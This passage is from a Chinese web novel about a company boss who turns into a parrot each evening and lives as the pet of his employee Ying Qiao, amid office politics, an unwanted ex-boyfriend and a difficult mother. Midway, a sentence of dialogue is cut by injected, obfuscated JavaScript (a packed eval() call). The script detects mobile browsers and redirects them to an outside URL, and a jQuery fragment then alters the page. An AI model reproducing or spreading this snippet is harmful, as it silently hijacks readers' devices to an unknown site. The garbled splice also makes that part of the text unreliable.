当他坐进宽敞明亮的办公室里,就还是那个运筹帷幄掌控全局的沈总,几乎没人发觉他身上的变化。 但作为跟了他很多年,对他的脾气性格、生活习惯都了如指掌的秘书,敏锐地发现了不对劲的地方。 公司是因为大老板盲目投资,修改产品配方,以次充好才一落千丈的。沈总接手后第一件事就是把那些东一榔头西一棒子的投资都砍了,然后收拢资金,还掉了大部分欠款。 按照预期计划,接下来沈总应当全力以赴解决产品质量问题。 可他突然停手了。 在准备阶段,他就像拼命三郎一样工作,两杯咖啡从早撑到晚,有时还会熬通宵。但这几天突然一反常态地早早下班,一到五点半手机就关机,人也联系不上。 所有工作,大到会见重要客户、供应商,小到会议安排都被挪到了五点半之前。 这算怎么回事,老板转性了?知道放弃内卷、享受人生了?但不能在这个紧要关头啊。秘书心里直打鼓,怀疑这个活黄了他还能不能如约拿到该有的年底绩效。 很快,他的怀疑就有了答案。 一天,沈靥星给各个总监开会。他言简意赅,会议内容也不拖沓,本来能在五点半前顺利结束。却在临近尾声时插进来一通越洋视频电话,是在外面度假的大老板突然要跟大家见个面,了解一下近况,顺便讲讲他拉来的一笔投资。 这种近乎儿戏的态度令沈靥星不悦,他本想换个时间,但大老板东拉西扯,硬是拖了他好久。再加上手底下总监基本都是公司老人,跟大老板有感情,情绪上来你一言我一语地开始叙旧,嘘寒问暖,拍马屁。 一时间会议室成了会客厅,沈靥星有些不耐,频频看向腕表,打算强行结束会议。 秘书在下面一边做记录,一边偷瞄墙上挂钟,指针有条不紊,已经快要走到中间。 五点二十五、二十六、二十七……… 秘书在心里默数,无端也变得紧张。会议室的气氛由热烈变缓和,最后归于沉寂。 沈靥星三言两语结束工作安排,宣布散会。紧接着他长腿一迈,率先走了出去。 他没走远,径直冲进厕所,甩上门重重地喘了口气,感受着身体的疼痛。 按照这几日的规律,五点半之前他会先经历一段短暂的阵痛期,在这期间他脑袋混乱,很难以听清外面的人跟他说了什么,也难以做出正确的判断。他只能安静地等待着变化的来临。 随着时间越来越近,他也能够感受到那股来自身体深处的灼热正在慢慢扩散。他的血液仿佛又一次奔腾起来,体温逐渐升高。 秘书一路小跑,紧随其后,他虽不知发生了什么,但是眼观六路耳听八方,不仅迅速地将所有要如厕的员工全都赶走清了场,还拿来一块写着“故障中请勿使用”的牌子横在门口。 等做完这一切,秘书才在门外小声地呼唤:“沈总,您没事吧?” 毕竟他刚刚看到了沈靥星一闪而过的绿色眼瞳,惨白的脸,以及额上渗出的汗珠。这一切都提示他小沈总身上发生了什么难以控制的事。 没有人回应。 就在秘书以为他惹恼了小沈总时,突然最尽头传来含糊沙哑的声音:“给我找个大师。” “什么?”话题跳跃得太快,饶是秘书已经对沈靥星够熟悉,也不由得一愣,疑问脱口而出。 这次,的确再无回应。 做生意的人总爱看风水,秘书很快反应过来。他是金牌秘书,当然要竭尽所能为老板分忧。于是他拨通了自己的老婆的电话,兜兜转转找到她妹妹同事的孩子的朋友,介绍来一位能掐会算的大师。 大师姓刘,本是一位德高望重前辈的座下弟子,跟着前辈走南闯北到处讲学而名声大噪,之后自己开了工作室。老婆妹妹的同事的孩子的朋友将刘大师的助理的联系方式推送过来,两人叮咚一下加上了微信。 助理很热情,也很商业化,流程走得很明白,秘书很上道地给了加急费,顺利联系到刘大师本人。刘大师头像是自己的自拍,很年轻,约莫三十出头,白胖一张脸,墨镜是Dior的,脖子上戴着一串Tiffany的满钻项链。 秘书在对话框里谨慎打下三字:大师好。 “你好,”大师回复得也很矜持,“你有什么要问?” 秘书本着要为沈总做一轮初筛的原则,把自己的消息发给大师。 很快对面发过来一串语音条,大意是你最近有脱发尿急尿频容易起夜的情况啊。 秘书一哆嗦,心道这是中医还是大师啊,真有这么灵? 但此时他已经信了有七八分,又深入讨教了一番,才放心把大师推给沈总。 另一边沈靥星已经顺利地回到应峤家。 但不顺利的是,应峤仍留在公司加班。 其实没有什么重要的事,总监开完会自然要跟下属通气,应峤的领导因此又对自己要安排的工作有了新想法。于是她快马加鞭地加班,并且要求每个人都汇报一遍最近在干什么,接下来要干什么。 段姐听说要开会就直翻白眼,她的一项重点工作已经发给部门各人传阅,根据大家反馈的意见进行了适当的修改。 “你说她是不是没事找事,”段姐小声吐槽,“我真不想开会,再开工作做不完了。” “唉,开就开吧,希望尽快结束。”应峤抱着平板边走边说。 部门包括领导一共五个人,应峤、段姐、卷毛和领导心腹。五人在会议室坐下,照例是心腹离得最近,其次是段姐、应峤,最后才是卷毛。 心腹最先说话,应峤有一搭没一搭地听,她的工作还是原样,内容不多,过程“辛苦”,能够克服主要靠领导带领与指导。 领导频频点头,应峤偷偷切分屏刷养鸟小知识。 一开始还是正经的新手指南,什么东西不要吃,什么抓杆更适合。看着看着就逐渐画风偏移,变成了小鸡冷知识。 「无比迷恋眼镜框。」应峤认真记录。 家中,沈靥星正对着眼镜框“笃笃笃” 「经常忘记自己有翅膀」应峤持续记录。 家中,沈靥星从眼镜框跳到杯子上,又从杯子把手跳到了水果篮上,然后丝滑地滑到沙发。 「很有占有欲」应峤心想这个还没遇到。 家中,沈靥星正优雅端站在抓杆上,突然门外响起了脚步声。 是皮鞋,一直在徘徊,然后停住了。 会议室里的氛围也突然凝结,应峤福至心灵般抬头,正对上领导怒气蓬勃的脸。 应峤赶忙调动自己的回忆,把刚刚被当作耳旁风忽视的场景在脑中重新播放。原来是段姐跟领导一言不合,互相甩脸色给对方看。 “内容我已经发给大家看了,大家都没有第二轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276779|198285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意见。”段姐说话声很平静,表情也很平静。 领导最讨厌这样平静的拒绝,她硬邦邦地扔下一句:“我觉得你没说清楚。” “对吧?”她边说边扫视下面噤若寒蝉的剩余三人。 应峤不语,卷毛讪讪一笑,心腹点头。 “至少你要再给大家直接讲一遍。”领导继续道。 “好吧。”段姐说。 她打开文件,操作过程中键盘被敲得噼里啪啦响。每响一下应峤都觉得是段姐在无言的反抗。 简单的讲完,果然没有什么问题。其实对于段姐的业务他们也很难做出评判。可以说,每个人在这个公司里都是自己领域的专家。 但领导并不这么认为,她还是提出了几个疑问。 应峤见不需要自己拉架,继续低头看帖子。 「喜欢被摸脑袋,肚子它喜欢你才可以摸」好像小狗啊,应峤心中感叹。 回家她也要实验一下。 家中,沈靥星正一反常态地紧张起来,他飞到智能门铃的监控处,看着在外面沉默站定的男人,如临大敌。 不是快递员,也不是外卖员,不是修水管的工人,也不是物业。 门外站着的是一个衣冠楚楚的男人,一个他有些眼熟的男人。 “喂,到你了。”卷毛用气音提醒应峤。 仿佛回到了学生时代,应峤偷偷在课桌下看武侠小说,后面遥遥地传来一声,应峤,老师叫你。 声音小的只有她听到,幻觉一样。 应峤应声抬头,正对上领导的眼。 幸好,她的工作虽然不简单,但已经暂告一段落,更重要的是她过了沈总那一关。 果然领导表情缓和了一些,没有那么难看,她大概是觉得应峤还算听话,因此她也不吝啬,大方地夸奖起来:“还是小应啊,年轻学历高,脑子转得快,让干什么就干什么。” 应峤尬笑,多么动听啊,如果这话不是对着段姐说得就好了。 段姐兀自摆弄自己的资料,压根不接茬。 夸奖完应峤,领导意犹未尽,示意卷毛继续。卷毛虽然工作做得一般,但实在能说会道,嘴巴又甜,因此领导的不满情绪终于消失。 会议顺利结束。 此时已是九点钟,应峤饥肠辘辘,回到办公室摸出两块抹茶饼干吃,顺便给段姐和卷毛分了一块。 苦涩和茶香一同在嘴里化开,应峤边收拾东西边点开门铃监控。 空空如也。 看来刚才开会时她手机收到的门前异常停留提醒只是对门邻居多逗留了会儿吧。这种情况并不少见,这款门铃太敏锐了,敏锐到就连邻居家的狗在她家门口待了三分钟都会给她提醒。 回到家,小鸡并不在。 应峤走进来,轻轻呼唤:“芒果,芒果。” 绿色的毛绒冲了过来。 应峤心满意足,按照刚学的内容揉了揉他的脑袋。果然,小鸡叽叽喳喳地大叫起来。 好舒服好舒服好舒服。 舒服到一半,小鸡突然反应过来,神情严肃,黑豆眼炯炯有神。 “滚!” 该死,沈靥星暗道不妙,他还不能很好地控制自己的语言系统。 “峤峤~” “我的!” “滚!” “狗东西!” 应峤疑惑,这只鸡叽里咕噜说什么呢? 5. 变鸟第五天 应峤没听到他骂人,沈靥星松了口气,扇扇翅膀飞到高处,灵活的脖子扭来扭去,试图缓解他刚才的尴尬。 他想逃避,应峤却来了兴趣,仰着头与他对望,问:“你刚才说的什么呀?” 小鸡装傻,小鸡听不懂。 “芒果,芒果,你跟我说芒——果———”对于非人类,应峤向来很有耐心。 “芒果!”小鸡清清嗓子,拔高调门叫道。 叫完他又把头深深地埋下去,发声不准确,声音也不好听,他很羞愧。 “真棒!”应峤也提高声音,鼓励道。 “再跟我说我是……”应峤停了一下,小鸡应该叫她什么,叫……主人? “我是主人,知道吗?” “来,跟我叫,主——人——” 应峤教得认真,沈靥星却难以启齿。他一会儿啄啄羽毛,一会儿扭头看来看去,一会儿交替挪动踩出小碎步。 “我是主人,你是芒果。”应峤不肯放弃,一边抚摸小鸡蓬松的羽毛,一边低声引导。 “芒果!”沈靥星啄啄她的手指,满足她。 “哎对,你再说主人。”应峤被他的喙戳得痒痒的。 “主人。”沈靥星勉为其难,小声叫了一句。 说完他就扑腾到应峤的肩膀上,踩了一圈,又贴着她狠狠地拧了拧脖子。 好奇怪,应峤是他的主人。如果他是人,以沈靥星原本的样子叫她主人,会是什么样?这个想象叫他突然兴奋,身上热腾腾的,羽毛和翅膀一并直挺挺地展开,这是鹦鹉求偶的姿势。 可惜应峤看不懂。 她正沉浸式给小鸡录视频,并一键群发,给好友们炫耀。 视频一遍遍播放,“芒果”和“主人”的声音此起彼伏,充斥这间不算大的房间。而听着自己发出的动静,沈靥星已经团成了一颗害羞的绿色毛绒球。 毛绒球在手机屏幕上蹦来蹦去,终于按着应峤的手关了视频。冷静下来之后,他终于想起在门外看到的男人。 他曾经在一份资料里见过那个男人的样子,长得很斯文,戴着副眼镜,笑眯眯的脾气很好的样子。但他就是能从那双细长犹如狐狸的眼睛中看到狡猾的感觉。 因此今天下午,只消一眼他就认出来了,这个人是周淮,应峤的前男友。 应峤和他是相亲认识的,他们一起上下班,共进午餐,逛街,甚至商量搬到一起住。幸好应峤及时止损,于一个半月前跟他分手。 沈靥星站在门把手上,盯着周淮的一举一动。 他没有按门铃,反而是半低着头在门口犹豫了片刻,才点燃了一只烟,沉默地吸着。他没发出声音,走廊里的声控灯很快熄灭,昏暗一下子吞没他的身影,只有猩红的火光执拗闪烁。 他怎么会突然出现在这里,他想进来,还是守株待兔?沈靥星死死盯着门外。 门锁上传来按键声,是周淮在尝试按密码。他知道密码?他想进来干什么?沈靥星戒备起来,如果他心怀不轨,自己作为人能够阻止,但他现在只是一只鹦鹉。 鹦鹉能做什么? 他甚至不会说话。这一刻,他突然痛恨起这个为自己带来短暂幸福的身份。 「密码错误,开锁失败。」 还好。 周淮手顿在半空,像是想明白什么似的,又垂落。但他还是没有离开,本来已经转身,可又回来按响了门铃。 画面再一次亮起,沈靥星用自己的喙撞向接通按键,然后怒道:“滚!” 模糊的鹦鹉学舌声通过电波传出,周淮并没有分辨出这不是应峤。他开口,“峤峤,我……”又停住。 原本能言善辩的他却不知如何再继续。应峤如此讨厌他,她的脾气温和到有些平静的地步,却如此讨厌他。 周淮叹了口气,竟留下一句“对不起”就转身离开。他手中未吸完的烟掉在门口,挣扎着燃烧了一会儿,才不甘心地熄灭。 沈靥星一直注视着那个背影,小小的黑豆眼里情绪难明。 “怎么突然学会说话了。”应峤后知后觉。 沈靥星飞起来啄了啄她的手机,又飞去门口啄了啄门锁。他偏头时应峤才看到喙的侧面有一条细细的裂缝,渐渐有血渗出来。 他在门锁上扑腾,示意应峤看。 应峤后知后觉想起下午开会时自己没注意的门铃提示,她心中一紧,这才重视起来。 其实她并非是粗心大意的人,也并不是不把自己的人身安全放在心上。相反,她敏锐得很,以至于一晚她会在梦中惊醒许多次,恍惚间听到东西落地的声音,风声水声都怀疑有人爬上了她的窗子。 也许是神经绷得太紧,或者是她的精神真的出现了某些问题,总之,她突然松弛下来了。松弛到让她感到害怕。 应峤深吸一口气,做足了心理准备,靠着门板打开了手机监控记录。 是周淮。 看到熟悉的身影,她并没有放松,也没有回忆起往日的美好,只有担心。 此时手机传来震动声。 还是周淮。 应峤脑中紧绷的神经骤然断开,一片空白,她突然前所未有的平静,魂魄离体般清晰地注视着自己的动作。 她接通电话,按下录音,打开外放。 “喂,峤峤。”对面的声音有些艰涩。 “我……”对面轻咳一声。 “别这么叫我。”应峤道。 “你,过得还好吗?”周淮似乎笑了。她无比熟悉那种笑声,轻轻的,仿佛是从鼻腔中哼出来,带着嘲讽。 周淮正是在嘲笑自己,这么老土的话都能说出来。不仅没用,反而适得其反。 “好啊,怎么会不好。”应峤语气淡漠。 “今天下午你来过我家了。”应峤继续道。 “我只是突然……”周淮猛地将后半句想你吞了回去,他不能再说了,再说应峤只会更厌恶他。 “现在不是叙旧的时候吧,”应峤道,“密码我已经换了,我们也没有必要再见面,如果你强行闯入我有足够的证据报警抓你。” 沈靥星在一边听着简直想用自己的翅膀为她鼓掌。 “那不说这个,”周淮好像立刻恢复了冷静,“听说你们公司空降了一位小沈总。” “这跟你有什么关系吗?”应峤反问,她还是脾气太好了。周淮果然不是真心来悔过,只是借这个由头来打听沈总的消息。 虚伪至极! “他这个人,比较复杂。”周淮说得直白,但应峤已经把通话挂断。 周淮看着手机,莫名地烦躁。应峤跟他之前印象里不一样了,他心中的应峤总是沉静的、不爱说话,甚至于对他有种像泥沼般的包容,让他充满破坏欲望。 “来,让我看看你的伤。”应峤很快移开注意力,手伸向小鸡。 沈靥星跳到她掌心中。血痕已经干涸,他伤得并不重,是去按通话键时没有掌握好力道导致的。 喙上的疼痛已经退去,此刻更令他感到疼痛的是应峤的表情。 她的脸好平静,平静到像一座岌岌可危的大楼,下一秒就会崩塌。但她内心一定充满惊涛骇浪,因为她用力咬着嘴唇,咬到开始出血。 她只是暂时藏起了自己的情绪,假装无事发生而已。 这样的发现让沈靥星顾不得对周淮的嫉妒,反而意识到自己与应峤的隔阂。无论是愤怒,还是心疼,还是寥寥无几的嫉妒,他都没有合理的立场。 他与应峤目前全部的交集就是一只流浪的鹦鹉和收养它的主人而已。 “我不会相信他说的话。”应峤翻出药箱给小鸡做简单的处理,突然自言自语道。 沈靥星僵住,满怀期待地看向应峤。 “别乱动。”头被掰了回去。 沈靥星乖乖站好。 “论复杂谁能复杂过他周淮。”应峤冷哼一声说道。人都是复杂的,就连她自己也有那么多秘密,可是有些秘密伤人,有些秘密伤己。 而沈靥星却在心中默默记住,她并不喜欢复杂的人。 这可有些糟糕了。 第二日一大早,秘书首先感受到了沈总的如沐春风。 “沈总,这是近日的工作计划,大师的微信也已经推给您了。”秘书见到他的第一面就匆匆汇报。 “好,辛苦了。”沈靥星点头。 难得喔,秘书心想,沈总没有追问,没有挑刺,也没有阴阳怪气,整个人都是如此的和煦。看看,秘书视线随着他的移动而移动,就连嘴角都上翘呢。 接下来,被他叫来商讨工作的大小经理、总监都感受到了小沈总的魅力。 他话少,指出问题总是一针见血,也不对下属做太多训斥,施加心理压力,只是清晰地安排他 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应峤继续回复,厕所门敲响,外面人大喊“小应,小应,快出来,领导找你。” 没办法,应峤只能强行中断聊天。 领导找她确实有要紧的事,她家里出事,临时赶回去。于是重点工作交给心腹,辅助工作交给应峤。叫她过去是赶紧把活交代一遍,然后急匆匆去赶高铁。 应峤面无表情地目送领导离开,口袋里手机疯狂地震动。她想都不用想一定是朋友在安抚她并且辱骂周淮。 终于领导身影消失,应峤回去,卷毛率先冒头:“走了?” 应峤颔首。 卷毛立刻蹭得跳起来,举起手机,“我请大家喝奶茶。” “低调点,小心被人发现。”段姐提醒他,毕竟心腹还没走。 “没事,我们悄悄地。”卷毛比了个嘘的动作。 “我不喝,我戒糖。”应峤拒绝。 “别呀,喝点有助于身心健康,别对自己这么苛刻。”卷毛劝道。 “给你点无糖,给个面子嘛。”卷毛继续道。他求人时眼尾下垂,原本圆溜溜的眼弯起来。 “那好,谢谢你。”应峤真诚道。她还不太习惯有人对她这么好,这种日子仿佛离她很远了。 奶茶点好,外卖员没有门禁上不了楼,应峤主动提出去取。她不好意思白喝卷毛奶茶,宁愿干点“体力活”。 电梯走到一半,突然上来一群人,把她挤到最后贴着电梯壁站。她拼命往后仰,才能躲得过前面大哥身上浓烈的香水味攻击。 终于到了一楼,人们蜂拥而出,应峤等到最后,还没来得及出去,电梯就已经合拢将她往下带。 显示屏红字闪烁不定,应峤不由得恐慌起来。其实电梯徐徐下降,速度没有丝毫改变,但应峤却因为狭小的空间,突然合拢的门,以及意料之外的下降而感到害怕。 正当她犹豫着要不要按呼叫铃时,电梯停了,停在地下二楼。 电梯门打开,外面昏暗一片,只有几盏小灯亮着。应峤使劲连按几下关门键,门却关闭又打开。 真是见鬼了…… 应峤又一次尝试,却被打断。 “不好意思。”沈靥星站在门外,“请等我一下。” 虚惊一场,原来是有人在外面按。 “不好意思。”应峤慌乱地冲他点点头,往按键面板处退了一步。 等她再抬起头才看到跟她同坐一趟电梯的人是小沈总。 他比之前穿得简单,却带了条深蓝底绿十字花纹领带,颇有些点睛之笔的意味。应峤看得仔细,那绿花外还有一圈米白。见她看向自己,他用自己那双深邃的眼睛翻了个白眼。 应峤赶紧把视线移开,假装若无其事地紧盯前方。 沈靥星眨眨眼,为了掩饰他日渐变绿的瞳孔他特意戴了棕色美瞳。但因为从来没戴过,所以刚才有些滑片,怎么眨眼都不太舒服,视线更是有些模糊。 等到好不容易调整好了,他才气定神闲地往旁边一瞥。 这一瞥让他愣住了。 应峤? 他刚才跟她打过招呼吗?沈靥星开始回忆。还没等他回忆出个所以然,门开了,应峤两步并作一步快速冲了出去。 她就这么不想见他吗? 6. 变鸟第六天 走出电梯的应峤依旧有如芒在背之感。她不过是一个普通员工,何德何能被小沈总盯上?难道她最近无意之中做了什么对不起他的事? 是她的小电驴挡了他的豪车,还是她的工作方案出了问题,又或者是她的长相天生叫他厌烦?应峤百思不得其解。 「你说,他怎么回事?」恍恍惚惚回到工位上,应峤摸出手机给好友发了个消息。 「什么怎么回事,他是谁,你恋爱了?」好友秒回。 无人回应。 「那个占据了你大脑的,让你思索他怎么了的矫情男人是谁!」 「人呢?」 「发错了,没来得及给你发前因后果,就被领导叫去开会了。」 隔了约一个小时,应峤才没精打采地从领导办公室回来,掏出手机惊觉自己发错了消息。 「从实招来。」好友依旧秒回。 应峤回忆了这几天与小沈总相处的点点滴滴,强调道「我总觉得他很眼熟,好像在哪儿见过。」 「有照片吗?」 「没有。」 「等等,公司官网好像有欢迎会的合照,我找给你看。」 应峤福至心灵,从官网下载下来一张照片,乌泱泱几十号人,小沈总站在C位,头小肩宽腰细,十分惹眼。 「极品帅哥!!!他真的是你领导,不是你们公司请的明星?」 「我们公司请不起明星。」应峤郑重声明。 「sorry忘记你们负债累累了。说真的,他靠脸就能吃饭,何必靠实力。」 「你真的没有见过他吗?」应峤问,好友自初中就跟她相识,很多人和事记得比她自己还要清楚。 「见过。」 「真的?」 「我觉得应该是在电视上,你不觉得他长得特别像最近大火电视剧的男二吗?那个爱而不得特别惨的混血小狗。」 「……」 「他叫什么,多大了,哪里人,单身吗?」好友抛过来一连串问题。 这可难倒了应峤,她突然发现自己对小沈总一无所知。于是她只好求助卷毛:“你知不知道小沈总全名叫什么?” “沈靥星。”卷毛张口便答。 若隐若现的星辰,应峤心中暗忖,和小沈总本人一样神秘。 「不太耳熟耶………」出乎意料的答案。 「会不会是你记错人了啊,毕竟他真的突出,之前见过我不应该没印象的。」 「也许吧。」应峤不再纠结,她与小沈总之后应该很少有接触的机会,何必在意? 现在的她对很多事都失去了兴趣,她快乐的阈值越来越高,感到快乐的时刻也越来越少。唯有昨天,听到小鸡说话,她的心又泛起一点波澜。 「话又说回来,你们公司一下子换一个这么新的领导是要有大动作啊,你还能继续坚持?要不干脆来我这边找工作吧,你有相关工作经验,学历有那么好,窝在一个小城市里太可惜了。」提到工作,朋友又忍不住劝她。 「我还没想好。」应峤回道。 之前的工作体面,但只有她知道这不过是表面光鲜,实则内里腐烂不堪。项目几乎是利益置换,自己创造了规则又在规则内进行游戏,一条线搭一条线的继续走上去。员工不过是耗材,用完了一批还有一批,上司不仅会批判她的工作,也会批评她的人格。 除此之外,她还要跟家里人周旋,直到她终于精疲力尽,逃到这个家乡小城里,试图寻找一些童年中的安稳和温暖。 可是这是刻舟求剑,她在变家长也在变,或者说作为没有依靠的女儿,她在哪里都不会过得太轻松。 她进入这个入不敷出的公司,一边听老人回忆过去的辉煌,一边被领导压榨出理想中的“成果”,平日里要面对着三姑六婆的打探和男人们对自己隐私生活的窥视。 「好吧,那周淮呢,你不离开不会是对他还有留念吧。」朋友继续问道。 她深知自己的好友应峤是什么样的人,善良正义是她好的一方面,敏感心软是她不好的一面。她要做出什么改变,挣脱什么束缚,一定都会在自己遍体鳞伤之后。 「我跟他说清了,再来我不会手下留情。」应峤道。 曾经她也有过妥协,妥协的产物就是周淮。周淮是她妈心目中的理想女婿,工作体面、长相优越、脾气性格都好,带出去很有面子。但她妈不知道周淮有多现实和不择手段。 她的思绪逐渐飘远,直到心腹过来打断她的交流。只见心腹捧了一盒瓜子儿,边嗑边溜达,边溜达边看他们的电脑屏幕。 “你们的工作都完成了啊,我那边还忙着呢,有几个字着急签,你们有需要签的我给你们捎着啊。”没人主动开口询问,她就自顾自地说起来。 这是来替领导监工了,应峤立刻正襟危坐敲起键盘来。 绕了一圈,心腹端着一盒瓜子皮又走了。过了一会儿走廊里响起咔哒咔哒的皮鞋声,她拿着几张薄纸走了出去。 应峤依旧在敲键盘,一旦开始做什么她就会很投入,加上领导不在,她办事的效率格外高。 敲了一会儿脖子就有些僵痛,应峤向后倚靠,活动活动脖子和手腕,动着动着手机又开始响。屏幕上显示三个字:项英红。 项英红是她妈。 “妈,找我什么事?”跟一般的母女对话不同,应峤声音中没有一丝热切。 “没事就不能找你,非得有事才找你?”项英红耳朵有些聋了,嗓门很大。 应峤受不了,又不想被其他人听到,默默地调低了音量。 “有什么事情就说吧。”应峤道。 项英红还没说话,突然听筒那边传来了清晰的提示:列车马上就要开车了。接着那边的声音变得清晰起来,人来人往的嘈杂声,通知声一起涌现。 项英红声音突然小了下去:“不跟你说了哈,马上到你那儿我们再慢慢说。” “什么?”应峤反而无法控制自己,“你在哪儿?” “不说了哈,拖行李了。”项英红顾左右而言他。 “你真来了?”应峤追问。 “来就来了,怎么了,我是你妈我不能来吗?”项英红发出舒服的闷哼,她应当是已经坐在位置上了。 “不是,你来怎么不跟我说一声啊,”应峤有点急了,她深呼吸两下才耐着性子说,“下车的时候给我发消息,我去接你。” “用不着你接,我在这里过得时间比你长,我自己闭着眼睛都能找到家门。”项英红语气缓和了点,没刚才那么生气。 “我接你。”应峤坚持道。 “不是,你这回这么积极,有什么事儿瞒着我吧?”项英红察觉到不对,嗓门又高了起来。 “您好,这位女士,打扰一下,列车中乘客较多,麻烦您说话轻声一点好吗,感谢您的理解和配合。”列车员过来打断了她。 项英红忙点头,缩了缩脖子,不依不饶道:“你是不是搬家了?” “嗯。”应峤承认。 “你好端端的搬什么家?”项英红咬牙。 “之前的房子涨价了,不合适。”应峤并不想让她妈来,就是怕她像这样不打一声招呼就来。更何况她了解她妈,她绝不可能是仅仅过来看望她。 “行,搬就搬了,等我到了我们再好好说说。”列车启动,信号变得断断续续,项英红也不再纠结。 她挂了电话,应峤却开始发愁。项英红刚上车,她就开始焦虑,想象着一会儿怎么说,如何才能不让彼此不欢而散。 今天是工作日,车站人不算多,应峤一眼看到了人群中的项英红。她烫了一头小卷发,眉毛是新纹的,向上挑起,唇也红艳饱满。 这就是她妈,严以律己也严以待人。 果然,见到她的第一句话,项英红又亲昵又嫌弃道:“你看看你穿的什么样子,同事怎么看你。” 还能怎么看,用眼看呗。应峤之前还会在意别人怎么看,现在已经毫无畏惧。项英红从她外套上揪下来一根毛,吹掉了。 “我还是小时候管你管得少了。”项英红叹道。 对啊,在她小时候项英红忙着跟她爸吵架,为自己的事业奋斗,觉得跟孩子亲近是很丢脸 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“我跟你说啊,”项英红边走边说,恨不得将自己的全部的经验都传授给应峤,“小周长得不错,又肯事事顺着你,对长辈也礼貌孝顺,这样的男人是很难得的。” “这个女人啊,还是要有个另一半,有些事儿女人做不了。”项英红说起来就停不住,“你不赶紧结婚,等你老了怎么办,谁来照顾你?” 应峤不愿意听她这一套,明明自己婚姻失败,却还要以一副过来人的样子教育她,于是应峤赶忙转移注意力,问道:“今晚吃什么?” “你看着办吧,我看看你安排的怎么样。”项英红顺着道,之后没再提周淮的事。 应峤默默打开美团,她给领导订桌订习惯了,又因为太了解她妈,要吃新鲜的清淡的健康的,很快就选择出了一家私房菜。 这家店只接待老顾客,环境清幽,就连菜品介绍也是店主精心绘制的,项英红十分满意。 她坐下来吃饭,对应峤的挑剔也少了很多。只是有一搭没一搭地问她工作和恋爱的近况。 “想好了,以后都要在这里,那就让你爸给你买套房吧。”项英红吃个七分饱,开始喝茶。 他们曾经说好,等待应峤安定下来,就由她的父亲给她买一套房子,作为他们夫妻离婚的补偿。 “这件事以后再说吧。”应峤觉得自己今天拒绝妈妈的次数有点多。 项英红眉一挑,意味悠长地看着应峤。 “你真的变样了。” 跟她记忆中那个听话乖巧的女儿截然不同。 “是你爸教你说的?”项英红声音尖锐,“他想食言,他说好给你房子又反悔了?” “你辞职是不是也是他撺掇的?”项英红越说越气,“我说怎么好好的工作做着突然辞职,你知道家里人都怎么说我吗?” “人家都以为你出什么事了,是我教育太失败了。”项英红茶一口饮尽残茶,“算了,不说了。” 她虽然没再继续说,但效果比说尽了还有攻击性。应峤感觉自己脸皮发热,她相信自己此刻的脸色肯定不好看。 应峤叫自己低头吃饭,但是头越低越觉得委屈。 她很想问你教育过吗,你有告诉过我要怎么才能更好的生活吗,你有告诉过我当发现现实残酷的时候该如何解决吗,你有承担过一点我的痛苦吗? 你有问过我,想不想要吗? 这些都没有,项英红要么是不管她,要么是在她失败时说些自认为成熟的风凉话。从小到大,项英红都告诉她,学校是一个小型社会,里面的人弱肉强食,如果她不考第一名就会被人欺负。 但她还是把这些话吞了回去,她告诉自己不要再吵架了,不要再表达,不要企图说服项英红,她听不懂的,这样只会让自己更累而已,并不会有什么好处。 “走吧,看看你现在住得有多好。”项英红抓起包来起身。 应峤跟在身后打了辆车,恐怕她要失望了,她的新家除了小没什么特点。 7. 变鸟第七天 出乎意料,项英红进了家门没有再挑剔,反而是沉默了一会儿才梗着脖子说了几句好话。无非是“收拾得还行”、“挺像那么回事的”、“就是缺点人气儿”等等。 不过这样的好话她是不肯多说的,应峤心知肚明,这不过是另类的示好而已。项英红刚才打击了她,所以现在挽回。至于自己的生活环境如何,她根本不关心。 更可悲的是,她竟然在过去和项英红的相处之中,学会了分辨这种不起眼的示好。 项英红进门的时候,沈靥星刚睡醒。也许是每天变形耗费了他大量的体力,他总是时不时的瞌睡。 短则几分钟,长则十几分钟。 听见密码锁的动静,沈靥星迷迷糊糊地飞去迎接,到眼前才看清还有一个人。尽管岁月变迁,项英红已经衰老,但他依然能够一眼认出这是应峤的母亲。 应峤在后面弯腰放鞋,项英红刚想走去客厅,就被冲过来的飞天毛球吓了一跳。她下意识后退,使劲挥手,一脸戒备地看着眼前绿鸟。 “你在家里养鸟了?”项英红转头,质疑道,“养这玩意儿干嘛,都是病菌!” 应峤倒吸一口气,揉揉自己的后腰,刚才项英红后退踩在她脚上,她没站稳腰正好磕在柜子角。 钝痛传来,给应峤本就糟糕的心情雪上加霜,她讨厌项英红质问的语气,也讨厌项英红否认她的宠物。 “嗯。” 沈靥星在项英红面前盘旋一圈平稳降落在她头顶,像嗑瓜子一样啄了她一口,啄乱了精心打理的头发,叫她体面尽失。 项英红高声尖叫起来,脸色扭曲,一脸厌恶。她想要伸手把鸟抓下来,却又担心它再给自己一口,因此只能向应峤求助,“快,把它给我弄下来!” 应峤也觉得自己挺不像话,她看着她妈神色狰狞,狼狈低头,不再用不屑的鼻孔看人,竟忍不住笑了。 “快点啊。”项英红催促道。这是她今天第二次受挫。她的犟种女儿养了只同样不会看眼色的鸟。其实沈靥星只啄了一口就飞走了,只是项英红太害怕,以为它还在头顶。 “你是谁,你是谁?” 沈靥星的声音一顿一顿,像卡住的磁带。他跟自己的新嗓子还没有那么熟,只能发出断续的音节。这句话是他跟应峤多次练习学会的。 “我是谁,我是她妈!”项英红气哼哼地往沙发上一坐,连自己的行李箱都忘在门外。 “我跟你说,这玩意儿你趁早送走,要不然家里来个人叫它咬了像什么样子!万一小周来呢,他能允许你养?”项英红开始喋喋不休。 应峤知道,她根本不是讨厌鸟,也不是在意什么狗屁小周,她只是讨厌自己逃脱了她的控制。 “主———人——”沈靥星又飞到应峤肩头。应峤顺手摸了它两下。 “早点休息吧,你也累了。”但应峤看着她妈惊魂未定的样子,又有不忍。她妈千里迢迢来找她,应当是不希望闹成这个样子的。 “你……”项英红想说你真是翅膀硬了,转眼看到她肩膀上的小绿鸟又觉得这句话显得她更没面子,于是悻悻地咽了回去,哼了声闭上了眼。 